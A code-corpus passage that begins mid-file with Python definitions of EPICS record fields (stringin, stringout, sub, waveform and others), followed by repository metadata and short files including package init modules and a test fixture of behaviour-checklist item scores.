pvproperty(name="DOF", dtype=ChannelType.DOUBLE, doc="Value 15") input_link_0 = pvproperty( name="DOL0", dtype=ChannelType.STRING, doc="Input link 0" ) input_link1 = pvproperty( name="DOL1", dtype=ChannelType.STRING, doc="Input link1" ) input_link_2 = pvproperty( name="DOL2", dtype=ChannelType.STRING, doc="Input link 2" ) input_link_3 = pvproperty( name="DOL3", dtype=ChannelType.STRING, doc="Input link 3" ) input_link_4 = pvproperty( name="DOL4", dtype=ChannelType.STRING, doc="Input link 4" ) input_link_5 = pvproperty( name="DOL5", dtype=ChannelType.STRING, doc="Input link 5" ) input_link_6 = pvproperty( name="DOL6", dtype=ChannelType.STRING, doc="Input link 6" ) input_link_7 = pvproperty( name="DOL7", dtype=ChannelType.STRING, doc="Input link 7" ) input_link_8 = pvproperty( name="DOL8", dtype=ChannelType.STRING, doc="Input link 8" ) input_link_9 = pvproperty( name="DOL9", dtype=ChannelType.STRING, doc="Input link 9" ) input_link_10 = pvproperty( name="DOLA", dtype=ChannelType.STRING, doc="Input link 10" ) input_link_11 = pvproperty( name="DOLB", dtype=ChannelType.STRING, doc="Input link 11" ) input_link_12 = pvproperty( name="DOLC", dtype=ChannelType.STRING, doc="Input link 12" ) input_link_13 = pvproperty( name="DOLD", dtype=ChannelType.STRING, doc="Input link 13" ) input_link_14 = pvproperty( name="DOLE", dtype=ChannelType.STRING, doc="Input link 14" ) input_link_15 = pvproperty( name="DOLF", dtype=ChannelType.STRING, doc="Input link 15" ) output_link_0 = pvproperty( name="LNK0", dtype=ChannelType.STRING, doc="Output Link 0" ) output_link_1 = pvproperty( name="LNK1", dtype=ChannelType.STRING, doc="Output Link 1" ) output_link_2 = pvproperty( name="LNK2", dtype=ChannelType.STRING, doc="Output Link 2" ) output_link_3 = pvproperty( name="LNK3", dtype=ChannelType.STRING, doc="Output Link 3" ) output_link_4 = pvproperty( name="LNK4", dtype=ChannelType.STRING, doc="Output Link 4" ) output_link_5 = pvproperty( name="LNK5", dtype=ChannelType.STRING, doc="Output Link 5" ) output_link_6 = pvproperty( name="LNK6", dtype=ChannelType.STRING, doc="Output Link 6" ) output_link_7 = pvproperty( name="LNK7", dtype=ChannelType.STRING, doc="Output Link 7" ) output_link_8 = pvproperty( name="LNK8", dtype=ChannelType.STRING, doc="Output Link 8" ) output_link_9 = pvproperty( name="LNK9", dtype=ChannelType.STRING, doc="Output Link 9" ) output_link_10 = pvproperty( name="LNKA", dtype=ChannelType.STRING, doc="Output Link 10" ) output_link_11 = pvproperty( name="LNKB", dtype=ChannelType.STRING, doc="Output Link 11" ) output_link_12 = pvproperty( name="LNKC", dtype=ChannelType.STRING, doc="Output Link 12" ) output_link_13 = pvproperty( name="LNKD", dtype=ChannelType.STRING, doc="Output Link 13" ) output_link_14 = pvproperty( name="LNKE", dtype=ChannelType.STRING, doc="Output Link 14" ) output_link_15 = pvproperty( name="LNKF", dtype=ChannelType.STRING, doc="Output Link 15" ) offset_for_specified = pvproperty( name="OFFS", dtype=ChannelType.INT, doc="Offset for Specified", value=0 ) old_selection = pvproperty( name="OLDN", dtype=ChannelType.INT, doc="Old Selection" ) display_precision = pvproperty( name="PREC", dtype=ChannelType.INT, doc="Display Precision" ) link_selection_loc = pvproperty( name="SELL", dtype=ChannelType.STRING, doc="Link Selection Loc" ) select_mechanism = pvproperty( name="SELM", dtype=ChannelType.ENUM, enum_strings=menus.seqSELM.get_string_tuple(), doc="Select Mechanism", ) link_selection = pvproperty( name="SELN", dtype=ChannelType.INT, doc="Link Selection", value=1 ) shift_for_mask_mode = pvproperty( name="SHFT", dtype=ChannelType.INT, doc="Shift for Mask mode", value=-1 ) # used_to_trigger = pvproperty(name='VAL', # dtype=ChannelType.LONG, # doc='Used to trigger') link_parent_attribute( display_precision, "precision", ) class StateFields(RecordFieldGroup): _record_type = "state" _dtype = ChannelType.STRING # DTYP of .VAL has_val_field = True copy_pvproperties(locals(), RecordFieldGroup) device_type = pvproperty( name="DTYP", dtype=ChannelType.ENUM, enum_strings=menus.dtyp_state.get_string_tuple(), doc="Device Type", ) prev_value = pvproperty( name="OVAL", dtype=ChannelType.CHAR, max_length=20, report_as_string=True, doc="Prev Value", read_only=True, ) # value = pvproperty(name='VAL', # dtype=ChannelType.CHAR, # max_length=20,report_as_string=True,doc='Value') class StringinFields(RecordFieldGroup): _record_type = "stringin" _dtype = ChannelType.STRING # DTYP of .VAL has_val_field = True copy_pvproperties(locals(), RecordFieldGroup) device_type = pvproperty( name="DTYP", dtype=ChannelType.ENUM, enum_strings=menus.dtyp_stringin.get_string_tuple(), doc="Device Type", ) post_archive_monitors = pvproperty( name="APST", dtype=ChannelType.ENUM, enum_strings=menus.stringinPOST.get_string_tuple(), doc="Post Archive Monitors", ) input_specification = pvproperty( name="INP", dtype=ChannelType.STRING, doc="Input Specification" ) post_value_monitors = pvproperty( name="MPST", dtype=ChannelType.ENUM, enum_strings=menus.stringinPOST.get_string_tuple(), doc="Post Value Monitors", ) prev_simulation_mode = pvproperty( name="OLDSIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuSimm.get_string_tuple(), doc="Prev. Simulation Mode", read_only=True, ) previous_value = pvproperty( name="OVAL", dtype=ChannelType.CHAR, max_length=40, report_as_string=True, doc="Previous Value", read_only=True, ) sim_mode_async_delay = pvproperty( name="SDLY", dtype=ChannelType.DOUBLE, doc="Sim. Mode Async Delay", value=-1.0, ) simulation_mode_link = pvproperty( name="SIML", dtype=ChannelType.STRING, doc="Simulation Mode Link" ) simulation_mode = pvproperty( name="SIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuYesNo.get_string_tuple(), doc="Simulation Mode", ) simulation_mode_severity = pvproperty( name="SIMS", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="Simulation Mode Severity", ) simulation_input_link = pvproperty( name="SIOL", dtype=ChannelType.STRING, doc="Simulation Input Link" ) sim_mode_scan = pvproperty( name="SSCN", dtype=ChannelType.ENUM, enum_strings=menus.menuScan.get_string_tuple(), doc="Sim. Mode Scan", value=0, ) simulation_value = pvproperty( name="SVAL", dtype=ChannelType.CHAR, max_length=40, report_as_string=True, doc="Simulation Value", ) # current_value = pvproperty(name='VAL', # dtype=ChannelType.CHAR, # max_length=40,report_as_string=True,doc='Current Value') class StringoutFields(RecordFieldGroup): _record_type = "stringout" _dtype = ChannelType.STRING # DTYP of .VAL has_val_field = True copy_pvproperties(locals(), RecordFieldGroup) device_type = pvproperty( name="DTYP", dtype=ChannelType.ENUM, enum_strings=menus.dtyp_stringout.get_string_tuple(), doc="Device Type", ) post_archive_monitors = pvproperty( name="APST", dtype=ChannelType.ENUM, enum_strings=menus.stringoutPOST.get_string_tuple(), doc="Post Archive Monitors", ) desired_output_loc = pvproperty( name="DOL", dtype=ChannelType.STRING, doc="Desired Output Loc" ) invalid_output_action = pvproperty( name="IVOA", dtype=ChannelType.ENUM, enum_strings=menus.menuIvoa.get_string_tuple(), doc="INVALID output action", ) invalid_output_value = pvproperty( name="IVOV", dtype=ChannelType.CHAR, max_length=40, report_as_string=True, doc="INVALID output value", ) post_value_monitors = pvproperty( name="MPST", dtype=ChannelType.ENUM, enum_strings=menus.stringoutPOST.get_string_tuple(), doc="Post Value Monitors", ) prev_simulation_mode = pvproperty( name="OLDSIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuSimm.get_string_tuple(), doc="Prev. Simulation Mode", read_only=True, ) output_mode_select = pvproperty( name="OMSL", dtype=ChannelType.ENUM, enum_strings=menus.menuOmsl.get_string_tuple(), doc="Output Mode Select", ) output_specification = pvproperty( name="OUT", dtype=ChannelType.STRING, doc="Output Specification" ) previous_value = pvproperty( name="OVAL", dtype=ChannelType.CHAR, max_length=40, report_as_string=True, doc="Previous Value", read_only=True, ) sim_mode_async_delay = pvproperty( name="SDLY", dtype=ChannelType.DOUBLE, doc="Sim. Mode Async Delay", value=-1.0, ) simulation_mode_link = pvproperty( name="SIML", dtype=ChannelType.STRING, doc="Simulation Mode Link" ) simulation_mode = pvproperty( name="SIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuYesNo.get_string_tuple(), doc="Simulation Mode", ) simulation_mode_severity = pvproperty( name="SIMS", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="Simulation Mode Severity", ) simulation_output_link = pvproperty( name="SIOL", dtype=ChannelType.STRING, doc="Simulation Output Link" ) sim_mode_scan = pvproperty( name="SSCN", dtype=ChannelType.ENUM, enum_strings=menus.menuScan.get_string_tuple(), doc="Sim. Mode Scan", value=0, ) # current_value = pvproperty(name='VAL', # dtype=ChannelType.CHAR, # max_length=40,report_as_string=True,doc='Current Value') class SubFields(RecordFieldGroup, _Limits): _record_type = "sub" _dtype = ChannelType.DOUBLE # DTYP of .VAL has_val_field = True copy_pvproperties(locals(), RecordFieldGroup, _Limits) device_type = pvproperty( name="DTYP", dtype=ChannelType.ENUM, enum_strings=menus.dtyp_sub.get_string_tuple(), doc="Device Type", ) value_of_input_a = pvproperty( name="A", dtype=ChannelType.DOUBLE, doc="Value of Input A" ) archive_deadband = pvproperty( name="ADEL", dtype=ChannelType.DOUBLE, doc="Archive Deadband" ) last_value_archived = pvproperty( name="ALST", dtype=ChannelType.DOUBLE, doc="Last Value Archived", read_only=True, ) value_of_input_b = pvproperty( name="B", dtype=ChannelType.DOUBLE, doc="Value of Input B" ) bad_return_severity = pvproperty( name="BRSV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="Bad Return Severity", ) value_of_input_c = pvproperty( name="C", dtype=ChannelType.DOUBLE, doc="Value of Input C" ) value_of_input_d = pvproperty( name="D", dtype=ChannelType.DOUBLE, doc="Value of Input D" ) value_of_input_e = pvproperty( name="E", dtype=ChannelType.DOUBLE, doc="Value of Input E" ) engineering_units = pvproperty( name="EGU", dtype=ChannelType.CHAR, max_length=16, report_as_string=True, doc="Engineering Units", ) value_of_input_f = pvproperty( name="F", dtype=ChannelType.DOUBLE, doc="Value of Input F" ) value_of_input_g = pvproperty( name="G", dtype=ChannelType.DOUBLE, doc="Value of Input G" ) value_of_input_h = pvproperty( name="H", dtype=ChannelType.DOUBLE, doc="Value of Input H" ) alarm_deadband = pvproperty( name="HYST", dtype=ChannelType.DOUBLE, doc="Alarm Deadband" ) value_of_input_i = pvproperty( name="I", dtype=ChannelType.DOUBLE, doc="Value of Input I" ) init_routine_name = pvproperty( name="INAM", dtype=ChannelType.CHAR, max_length=40, report_as_string=True, doc="Init Routine Name", read_only=True, ) input_a = pvproperty(name="INPA", dtype=ChannelType.STRING, doc="Input A") input_b = pvproperty(name="INPB", dtype=ChannelType.STRING, doc="Input B") input_c = pvproperty(name="INPC", dtype=ChannelType.STRING, doc="Input C") input_d = pvproperty(name="INPD", dtype=ChannelType.STRING, doc="Input D") input_e = pvproperty(name="INPE", dtype=ChannelType.STRING, doc="Input E") input_f = pvproperty(name="INPF", dtype=ChannelType.STRING, doc="Input F") input_g = pvproperty(name="INPG", dtype=ChannelType.STRING, doc="Input G") input_h = pvproperty(name="INPH", dtype=ChannelType.STRING, doc="Input H") input_i = pvproperty(name="INPI", dtype=ChannelType.STRING, doc="Input I") input_j = pvproperty(name="INPJ", dtype=ChannelType.STRING, doc="Input J") input_k = pvproperty(name="INPK", dtype=ChannelType.STRING, doc="Input K") input_l = pvproperty(name="INPL", dtype=ChannelType.STRING, doc="Input L") value_of_input_j = pvproperty( name="J", dtype=ChannelType.DOUBLE, doc="Value of Input J" ) value_of_input_k = pvproperty( name="K", dtype=ChannelType.DOUBLE, doc="Value of Input K" ) value_of_input_l = pvproperty( name="L", dtype=ChannelType.DOUBLE, doc="Value of Input L" ) prev_value_of_a = pvproperty( name="LA", dtype=ChannelType.DOUBLE, doc="Prev Value of A", read_only=True, ) last_value_alarmed = pvproperty( name="LALM", dtype=ChannelType.DOUBLE, doc="Last Value Alarmed", read_only=True, ) prev_value_of_b = pvproperty( name="LB", dtype=ChannelType.DOUBLE, doc="Prev Value of B", read_only=True, ) prev_value_of_c = pvproperty( name="LC", dtype=ChannelType.DOUBLE, doc="Prev Value of C", read_only=True, ) prev_value_of_d = pvproperty( name="LD", dtype=ChannelType.DOUBLE, doc="Prev Value of D", read_only=True, ) prev_value_of_e = pvproperty( name="LE", dtype=ChannelType.DOUBLE, doc="Prev Value of E", read_only=True, ) prev_value_of_f = pvproperty( name="LF", dtype=ChannelType.DOUBLE, doc="Prev Value of F", read_only=True, ) prev_value_of_g = pvproperty( name="LG", dtype=ChannelType.DOUBLE, doc="Prev Value of G", read_only=True, ) prev_value_of_h = pvproperty( name="LH", dtype=ChannelType.DOUBLE, doc="Prev Value of H", read_only=True, ) prev_value_of_i = pvproperty( name="LI", dtype=ChannelType.DOUBLE, doc="Prev Value of I", read_only=True, ) prev_value_of_j = pvproperty( name="LJ", dtype=ChannelType.DOUBLE, doc="Prev Value of J", read_only=True, ) prev_value_of_k = pvproperty( name="LK", dtype=ChannelType.DOUBLE, doc="Prev Value of K", read_only=True, ) prev_value_of_l = pvproperty( name="LL", dtype=ChannelType.DOUBLE, doc="Prev Value of L", read_only=True, ) monitor_deadband = pvproperty( name="MDEL", dtype=ChannelType.DOUBLE, doc="Monitor Deadband" ) last_value_monitored = pvproperty( name="MLST", dtype=ChannelType.DOUBLE, doc="Last Value Monitored", read_only=True, ) display_precision = pvproperty( name="PREC", dtype=ChannelType.INT, doc="Display Precision" ) subroutine_name = pvproperty( name="SNAM", dtype=ChannelType.CHAR, max_length=40, report_as_string=True, doc="Subroutine Name", ) # result = pvproperty(name='VAL', # dtype=ChannelType.DOUBLE, # doc='Result') link_parent_attribute( display_precision, "precision", ) link_parent_attribute(archive_deadband, "log_atol", use_setattr=True) link_parent_attribute(monitor_deadband, "value_atol", use_setattr=True) class SubarrayFields(RecordFieldGroup): _record_type = "subArray" _dtype = None # DTYP of .VAL has_val_field = False copy_pvproperties(locals(), RecordFieldGroup) device_type = pvproperty( name="DTYP", dtype=ChannelType.ENUM, enum_strings=menus.dtyp_subArray.get_string_tuple(), doc="Device Type", ) busy_indicator = pvproperty( name="BUSY", dtype=ChannelType.INT, doc="Busy Indicator", read_only=True ) engineering_units = pvproperty( name="EGU", dtype=ChannelType.CHAR, max_length=16, report_as_string=True, doc="Engineering Units", ) field_type_of_value = pvproperty( name="FTVL", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Field Type of Value", read_only=True, ) high_operating_range = pvproperty( name="HOPR", dtype=ChannelType.DOUBLE, doc="High Operating Range" ) substring_index = pvproperty( name="INDX", dtype=ChannelType.LONG, doc="Substring Index" ) input_specification = pvproperty( name="INP", dtype=ChannelType.STRING, doc="Input Specification" ) low_operating_range = pvproperty( name="LOPR", dtype=ChannelType.DOUBLE, doc="Low Operating Range" ) maximum_elements = pvproperty( name="MALM", dtype=ChannelType.LONG, doc="Maximum Elements", read_only=True, value=1, ) number_of_elements = pvproperty( name="NELM", dtype=ChannelType.LONG, doc="Number of Elements", value=1 ) number_elements_read = pvproperty( name="NORD", dtype=ChannelType.LONG, doc="Number elements read", read_only=True, ) display_precision = pvproperty( name="PREC", dtype=ChannelType.INT, doc="Display Precision" ) link_parent_attribute( display_precision, "precision", ) link_parent_attribute( high_operating_range, "upper_ctrl_limit", ) link_parent_attribute( low_operating_range, "lower_ctrl_limit", ) link_parent_attribute( maximum_elements, "length", use_setattr=True, read_only=True ) link_parent_attribute( number_of_elements, "max_length", use_setattr=True, read_only=True ) class WaveformFields(RecordFieldGroup): _record_type = "waveform" _dtype = None # DTYP of .VAL has_val_field = False copy_pvproperties(locals(), RecordFieldGroup) device_type = pvproperty( name="DTYP", dtype=ChannelType.ENUM, enum_strings=menus.dtyp_waveform.get_string_tuple(), doc="Device Type", ) post_archive_monitors = pvproperty( name="APST", dtype=ChannelType.ENUM, enum_strings=menus.waveformPOST.get_string_tuple(), doc="Post Archive Monitors", ) busy_indicator = pvproperty( name="BUSY", dtype=ChannelType.INT, doc="Busy Indicator", read_only=True ) engineering_units = pvproperty( name="EGU", dtype=ChannelType.CHAR, max_length=16, report_as_string=True, doc="Engineering Units", ) field_type_of_value = pvproperty( name="FTVL", dtype=ChannelType.ENUM, enum_strings=menus.menuFtype.get_string_tuple(), doc="Field Type of Value", read_only=True, ) hash_of_onchange_data = pvproperty( name="HASH", dtype=ChannelType.LONG, doc="Hash of OnChange data." ) high_operating_range = pvproperty( name="HOPR", dtype=ChannelType.DOUBLE, doc="High Operating Range" ) input_specification = pvproperty( name="INP", dtype=ChannelType.STRING, doc="Input Specification" ) low_operating_range = pvproperty( name="LOPR", dtype=ChannelType.DOUBLE, doc="Low Operating Range" ) post_value_monitors = pvproperty( name="MPST", dtype=ChannelType.ENUM, enum_strings=menus.waveformPOST.get_string_tuple(), doc="Post Value Monitors", ) number_of_elements = pvproperty( name="NELM", dtype=ChannelType.LONG, doc="Number of Elements", read_only=True, value=1, ) number_elements_read = pvproperty( name="NORD", dtype=ChannelType.LONG, doc="Number elements read", read_only=True, ) prev_simulation_mode = pvproperty( name="OLDSIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuSimm.get_string_tuple(), doc="Prev. Simulation Mode", read_only=True, ) display_precision = pvproperty( name="PREC", dtype=ChannelType.INT, doc="Display Precision" ) rearm_the_waveform = pvproperty( name="RARM", dtype=ChannelType.INT, doc="Rearm the waveform" ) sim_mode_async_delay = pvproperty( name="SDLY", dtype=ChannelType.DOUBLE, doc="Sim. Mode Async Delay", value=-1.0, ) simulation_mode_link = pvproperty( name="SIML", dtype=ChannelType.STRING, doc="Simulation Mode Link" ) simulation_mode = pvproperty( name="SIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuYesNo.get_string_tuple(), doc="Simulation Mode", ) simulation_mode_severity = pvproperty( name="SIMS", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="Simulation Mode Severity", ) simulation_input_link = pvproperty( name="SIOL", dtype=ChannelType.STRING, doc="Simulation Input Link" ) sim_mode_scan = pvproperty( name="SSCN", dtype=ChannelType.ENUM, enum_strings=menus.menuScan.get_string_tuple(), doc="Sim. Mode Scan", value=0, ) link_parent_attribute( display_precision, "precision", ) link_parent_attribute( high_operating_range, "upper_ctrl_limit", ) link_parent_attribute( low_operating_range, "lower_ctrl_limit", ) link_parent_attribute( number_of_elements, "max_length", use_setattr=True, read_only=True )

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null

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6

9772565f200451b6ba94eba9bd1242661a8924d3

32

py

Python

losses/__init__.py

wang-chen/AirLoop

12fb442c911002427a51f00d43f747ef593bd186

[ "BSD-3-Clause" ]

39

2021-09-28T19:48:13.000Z

2022-03-17T06:44:19.000Z

losses/__init__.py

wang-chen/AirLoop

12fb442c911002427a51f00d43f747ef593bd186

[ "BSD-3-Clause" ]

null

losses/__init__.py

wang-chen/AirLoop

12fb442c911002427a51f00d43f747ef593bd186

[ "BSD-3-Clause" ]

3

2021-10-04T01:26:17.000Z

2022-02-12T04:48:50.000Z

from .loss import MemReplayLoss

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6

9781258a19c6da3e9556f5f05c02d849f37f9331

101

py

Python

rpcq/__init__.py

gitj/rpcq

4b0bce859c74c88229d9557303f6b6265b86adcf

[ "Apache-2.0" ]

1

2020-07-15T15:40:11.000Z

rpcq/__init__.py

astaley/rpcq

d482ea507f62e9736872154ab2fcccc46dd004f0

[ "Apache-2.0" ]

null

rpcq/__init__.py

astaley/rpcq

d482ea507f62e9736872154ab2fcccc46dd004f0

[ "Apache-2.0" ]

null

from rpcq._client import Client from rpcq._server import Server from rpcq.version import __version__

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0

6

c103f8df62ff997d7daea2021acd5195c3ee9964

10,386

py

Python

backend/tests/internal/data/cbcl_1_5_scores.py

mkokotovich/cbcl_scoring

86d8f636a980bce45fcf5fc7eccac5dffddfd3b8

[ "MIT" ]

null

backend/tests/internal/data/cbcl_1_5_scores.py

mkokotovich/cbcl_scoring

86d8f636a980bce45fcf5fc7eccac5dffddfd3b8

[ "MIT" ]

17

2019-12-26T16:45:10.000Z

2022-03-21T22:16:37.000Z

backend/tests/internal/data/cbcl_1_5_scores.py

mkokotovich/testscoring

bc176caf37a2980d85a722efa919f416c9758a0e

[ "MIT" ]

null

scores = {"scores": [{"group": "I", "score": 11.0}, {"group": "II", "score": 11.0}, {"group": "III", "score": 6.0}, {"group": "IV", "score": 9.0}, {"group": "V", "score": 8.0}, {"group": "VI", "score": 5.0}, {"group": "VII", "score": 26.0}, {"group": "other", "score": 28.0}, {"group": "internal", "score": 37.0}, {"group": "external", "score": 31.0}, {"group": "tot prob", "score": 104.0}], "test": {"id": 32, "items": [{"id": 2155, "number": "1", "description": "", "score": "0", "group": "III", "groups": ["III"]}, {"id": 2156, "number": "2", "description": "", "score": "2", "group": "IV", "groups": ["IV"]}, {"id": 2157, "number": "3", "description": "", "score": "2", "group": "other", "groups": ["other"]}, {"id": 2158, "number": "4", "description": "", "score": "2", "group": "IV", "groups": ["IV"]}, {"id": 2159, "number": "5", "description": "", "score": "1", "group": "VI", "groups": ["VI"]}, {"id": 2160, "number": "6", "description": "", "score": "1", "group": "VI", "groups": ["VI"]}, {"id": 2161, "number": "7", "description": "", "score": "1", "group": "III", "groups": ["III"]}, {"id": 2162, "number": "8", "description": "", "score": "1", "group": "VII", "groups": ["VII"]}, {"id": 2163, "number": "9", "description": "", "score": "1", "group": "other", "groups": ["other"]}, {"id": 2164, "number": "10", "description": "", "score": "2", "group": "II", "groups": ["II"]}, {"id": 2165, "number": "11", "description": "", "score": "2", "group": "other", "groups": ["other"]}, {"id": 2166, "number": "12", "description": "", "score": "1", "group": "III", "groups": ["III"]}, {"id": 2167, "number": "13", "description": "", "score": "2", "group": "other", "groups": ["other"]}, {"id": 2168, "number": "14", "description": "", "score": "1", "group": "other", "groups": ["other"]}, {"id": 2169, "number": "15", "description": "", "score": "2", "group": "VII", "groups": ["VII"]}, {"id": 2170, "number": "16", "description": "", "score": "1", "group": "VII", "groups": ["VII"]}, {"id": 2171, "number": "17", "description": "", "score": "1", "group": "other", "groups": ["other"]}, {"id": 2172, "number": "18", "description": "", "score": "1", "group": "VII", "groups": ["VII"]}, {"id": 2173, "number": "19", "description": "", "score": "1", "group": "III", "groups": ["III"]}, {"id": 2174, "number": "20", "description": "", "score": "1", "group": "VII", "groups": ["VII"]}, {"id": 2175, "number": "21", "description": "", "score": "1", "group": "I", "groups": ["I"]}, {"id": 2176, "number": "22", "description": "", "score": "1", "group": "V", "groups": ["V"]}, {"id": 2177, "number": "23", "description": "", "score": "1", "group": "IV", "groups": ["IV"]}, {"id": 2178, "number": "24", "description": "", "score": "2", "group": "III", "groups": ["III"]}, {"id": 2179, "number": "25", "description": "", "score": "1", "group": "other", "groups": ["other"]}, {"id": 2180, "number": "26", "description": "", "score": "0", "group": "other", "groups": ["other"]}, {"id": 2181, "number": "27", "description": "", "score": "1", "group": "VII", "groups": ["VII"]}, {"id": 2182, "number": "28", "description": "", "score": "1", "group": "other", "groups": ["other"]}, {"id": 2183, "number": "29", "description": "", "score": "2", "group": "VII", "groups": ["VII"]}, {"id": 2184, "number": "30", "description": "", "score": "0", "group": "other", "groups": ["other"]}, {"id": 2185, "number": "31", "description": "", "score": "0", "group": "other", "groups": ["other"]}, {"id": 2186, "number": "32", "description": "", "score": "2", "group": "other", "groups": ["other"]}, {"id": 2187, "number": "33", "description": "", "score": "2", "group": "II", "groups": ["II"]}, {"id": 2188, "number": "34", "description": "", "score": "2", "group": "other", "groups": ["other"]}, {"id": 2189, "number": "35", "description": "", "score": "1", "group": "VII", "groups": ["VII"]}, {"id": 2190, "number": "36", "description": "", "score": "0", "group": "other", "groups": ["other"]}, {"id": 2191, "number": "37", "description": "", "score": "1", "group": "II", "groups": ["II"]}, {"id": 2192, "number": "38", "description": "", "score": "1", "group": "V", "groups": ["V"]}, {"id": 2193, "number": "39", "description": "", "score": "0", "group": "III", "groups": ["III"]}, {"id": 2194, "number": "40", "description": "", "score": "2", "group": "VII", "groups": ["VII"]}, {"id": 2195, "number": "41", "description": "", "score": "0", "group": "other", "groups": ["other"]}, {"id": 2196, "number": "42", "description": "", "score": "1", "group": "VII", "groups": ["VII"]}, {"id": 2197, "number": "43", "description": "", "score": "0", "group": "II", "groups": ["II"]}, {"id": 2198, "number": "44", "description": "", "score": "2", "group": "VII", "groups": ["VII"]}, {"id": 2199, "number": "45", "description": "", "score": "0", "group": "III", "groups": ["III"]}, {"id": 2200, "number": "46", "description": "", "score": "2", "group": "I", "groups": ["I"]}, {"id": 2201, "number": "47", "description": "", "score": "2", "group": "II", "groups": ["II"]}, {"id": 2202, "number": "48", "description": "", "score": "2", "group": "V", "groups": ["V"]}, {"id": 2203, "number": "49", "description": "", "score": "0", "group": "other", "groups": ["other"]}, {"id": 2204, "number": "50", "description": "", "score": "0", "group": "other", "groups": ["other"]}, {"id": 2205, "number": "51", "description": "", "score": "1", "group": "I", "groups": ["I"]}, {"id": 2206, "number": "52", "description": "", "score": "1", "group": "III", "groups": ["III"]}, {"id": 2207, "number": "53", "description": "", "score": "1", "group": "VII", "groups": ["VII"]}, {"id": 2208, "number": "54", "description": "", "score": "1", "group": "other", "groups": ["other"]}, {"id": 2209, "number": "55", "description": "", "score": "0", "group": "other", "groups": ["other"]}, {"id": 2210, "number": "56", "description": "", "score": "2", "group": "VI", "groups": ["VI"]}, {"id": 2211, "number": "57", "description": "", "score": "0", "group": "other", "groups": ["other"]}, {"id": 2212, "number": "58", "description": "", "score": "2", "group": "VII", "groups": ["VII"]}, {"id": 2213, "number": "59", "description": "", "score": "0", "group": "VI", "groups": ["VI"]}, {"id": 2214, "number": "60", "description": "", "score": "1", "group": "other", "groups": ["other"]}, {"id": 2215, "number": "61", "description": "", "score": "1", "group": "other", "groups": ["other"]}, {"id": 2216, "number": "62", "description": "", "score": "2", "group": "IV", "groups": ["IV"]}, {"id": 2217, "number": "63", "description": "", "score": "1", "group": "other", "groups": ["other"]}, {"id": 2218, "number": "64", "description": "", "score": "1", "group": "V", "groups": ["V"]}, {"id": 2219, "number": "65", "description": "", "score": "1", "group": "other", "groups": ["other"]}, {"id": 2220, "number": "66", "description": "", "score": "1", "group": "VII", "groups": ["VII"]}, {"id": 2221, "number": "67", "description": "", "score": "0", "group": "IV", "groups": ["IV"]}, {"id": 2222, "number": "68", "description": "", "score": "2", "group": "II", "groups": ["II"]}, {"id": 2223, "number": "69", "description": "", "score": "1", "group": "VII", "groups": ["VII"]}, {"id": 2224, "number": "70", "description": "", "score": "0", "group": "IV", "groups": ["IV"]}, {"id": 2225, "number": "71", "description": "", "score": "1", "group": "IV", "groups": ["IV"]}, {"id": 2226, "number": "72", "description": "", "score": "0", "group": "other", "groups": ["other"]}, {"id": 2227, "number": "73", "description": "", "score": "1", "group": "other", "groups": ["other"]}, {"id": 2228, "number": "74", "description": "", "score": "0", "group": "V", "groups": ["V"]}, {"id": 2229, "number": "75", "description": "", "score": "0", "group": "II", "groups": ["II"]}, {"id": 2230, "number": "76", "description": "", "score": "1", "group": "other", "groups": ["other"]}, {"id": 2231, "number": "77", "description": "", "score": "1", "group": "other", "groups": ["other"]}, {"id": 2232, "number": "78", "description": "", "score": "0", "group": "III", "groups": ["III"]}, {"id": 2233, "number": "79", "description": "", "score": "1", "group": "I", "groups": ["I"]}, {"id": 2234, "number": "80", "description": "", "score": "2", "group": "other", "groups": ["other"]}, {"id": 2235, "number": "81", "description": "", "score": "1", "group": "VII", "groups": ["VII"]}, {"id": 2236, "number": "82", "description": "", "score": "1", "group": "I", "groups": ["I"]}, {"id": 2237, "number": "83", "description": "", "score": "1", "group": "I", "groups": ["I"]}, {"id": 2238, "number": "84", "description": "", "score": "2", "group": "V", "groups": ["V"]}, {"id": 2239, "number": "85", "description": "", "score": "1", "group": "VII", "groups": ["VII"]}, {"id": 2240, "number": "86", "description": "", "score": "0", "group": "III", "groups": ["III"]}, {"id": 2241, "number": "87", "description": "", "score": "2", "group": "II", "groups": ["II"]}, {"id": 2242, "number": "88", "description": "", "score": "2", "group": "VII", "groups": ["VII"]}, {"id": 2243, "number": "89", "description": "", "score": "1", "group": "other", "groups": ["other"]}, {"id": 2244, "number": "90", "description": "", "score": "0", "group": "II", "groups": ["II"]}, {"id": 2245, "number": "91", "description": "", "score": "2", "group": "other", "groups": ["other"]}, {"id": 2246, "number": "92", "description": "", "score": "1", "group": "I", "groups": ["I"]}, {"id": 2247, "number": "93", "description": "", "score": "0", "group": "III", "groups": ["III"]}, {"id": 2248, "number": "94", "description": "", "score": "1", "group": "V", "groups": ["V"]}, {"id": 2249, "number": "95", "description": "", "score": "1", "group": "VI", "groups": ["VI"]}, {"id": 2250, "number": "96", "description": "", "score": "2", "group": "VII", "groups": ["VII"]}, {"id": 2251, "number": "97", "description": "", "score": "2", "group": "I", "groups": ["I"]}, {"id": 2252, "number": "98", "description": "", "score": "1", "group": "IV", "groups": ["IV"]}, {"id": 2253, "number": "99", "description": "", "score": "1", "group": "I", "groups": ["I"]}, {"id": 2254, "number": "100", "description": "", "score": "0", "group": "other", "groups": ["other"]}], "created_at": "2018-09-27T14:15:42.186270Z", "updated_at": "2018-09-27T14:15:42.186325Z", "client_number": "3108", "test_type": "cbcl_1_5", "owner": 3}}

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null

1

0

1

0

1

0

null

0

6

c10e383471033886ae7cd340be81bd2cdb0c32c4

962

py

Python

vpn/vpnconf/models.py

futurice/vpn-management-server

5418b22356b58cd9a7f3043ec21e1e728abb6b27

[ "BSD-3-Clause" ]

13

2015-11-23T05:05:16.000Z

2021-05-30T13:00:46.000Z

vpn/vpnconf/models.py

futurice/vpn-management-server

5418b22356b58cd9a7f3043ec21e1e728abb6b27

[ "BSD-3-Clause" ]

null

